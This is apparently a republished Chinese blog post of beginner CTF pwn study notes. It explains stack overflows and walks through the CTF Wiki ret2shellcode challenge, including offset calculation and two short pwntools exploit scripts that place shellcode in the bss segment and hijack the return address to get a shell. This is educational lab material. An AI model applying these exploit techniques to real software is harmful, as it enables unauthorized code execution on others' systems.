Pwn学习笔记(一)

栏目: 编程工具 · 发布时间: 5年前

内容简介:最近打比赛越来越觉得Pwn的重要性,想要高名次必须依靠Pwn。然后看朋友们发的一些Pwn的漏洞也感觉十分的有意思,于是在询问了一圈队里的大佬后决定从栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。

前言

最近打比赛越来越觉得Pwn的重要性,想要高名次必须依靠Pwn。然后看朋友们发的一些Pwn的漏洞也感觉十分的有意思,于是在询问了一圈队里的大佬后决定从 CTF Wiki 里面的题目来学Pwn

基本栈介绍

栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。

Pwn学习笔记(一)

高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的。

栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

程序必须向栈上写入数据。 写入的数据大小没有被良好地控制。

具体介绍:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic/

常见危险函数

Pwn学习笔记(一)

例题练习

首先通过 checksec 检测程序开启的保护

Pwn学习笔记(一)

发现没有开启任何保护,接着我们使用IDA查看反编译出来的源码

Pwn学习笔记(一)

可以发现存在 gets() 函数,显然存在栈溢出。继续往下看我们发现程序通过 strncpy() 函数将对应的字符串复制到 buf2 处。我们直接双击 buf2 可知 buf2 在 bss 段,地址为 0x0804A080

Pwn学习笔记(一)

接下来我们通过简单的调试来判断 bss 段是否可执行。 这里 直接通过 b main 将断点打在 main() 函数处,然后使用 vmmap 指令来查看程序的内存。通过 vmmap 我们可以看到 bss 段对应的段具有可执行权限。

Pwn学习笔记(一)

那么我们只需要控制程序执行 shellcode ,也就是读入 shellcode ,然后控制程序执行 bss 段处的 shellcode 遍可以getshell,这时问题便变成了偏移的计算。 首先我们通过 pattern create 150 来构造一个长150个字节的字符串,然后通过 pattern offset $ebp 用来确定输入的字符串第一个字节与 ebp 的距离,这里我们我们可得知输入的第一个字节距离 ebp 108个字节,距离 ret 地址112个字节。

Pwn学习笔记(一)

最终构造出如下exp:

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
print len(shellcode)
buf2_addr = 0x804A080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

后来通过请教队友,其告诉我这里其实可以不去计算偏移。只要保证 shellcode 为4的倍数的情况下可以直接后面跟100个 p32(buf2_addr) ,肯定能命中那个ret地址。不是4的倍数的情况下,在后面填充即可。

exp如下:

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
print len(shellcode)
buf2_addr = 0x804A080

sh.sendline(shellcode + p32(buf2_addr)*100)
sh.interactive()

参考链接

BSS段 内存详解 [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/readme/ "CTF Wiki "CTF Wiki") IDA初学者笔记 Pwntools官方文档 linux下如何使用gdb调试 linux程序的常用保护机制


以上所述就是小编给大家介绍的《Pwn学习笔记(一)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

像计算机科学家一样思考Python (第2版)

像计算机科学家一样思考Python (第2版)

[美] 艾伦 B. 唐尼 / 赵普明 / 人民邮电出版社 / 2016-7 / 49.00

本书以培养读者以计算机科学家一样的思维方式来理解Python语言编程。贯穿全书的主体是如何思考、设计、开发的方法,而具体的编程语言,只是提供了一个具体场景方便介绍的媒介。 全书共21章,详细介绍Python语言编程的方方面面。本书从基本的编程概念开始讲起,包括语言的语法和语义,而且每个编程概念都有清晰的定义,引领读者循序渐进地学习变量、表达式、语句、函数和数据结构。书中还探讨了如何处理文件和......一起来看看 《像计算机科学家一样思考Python (第2版)》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具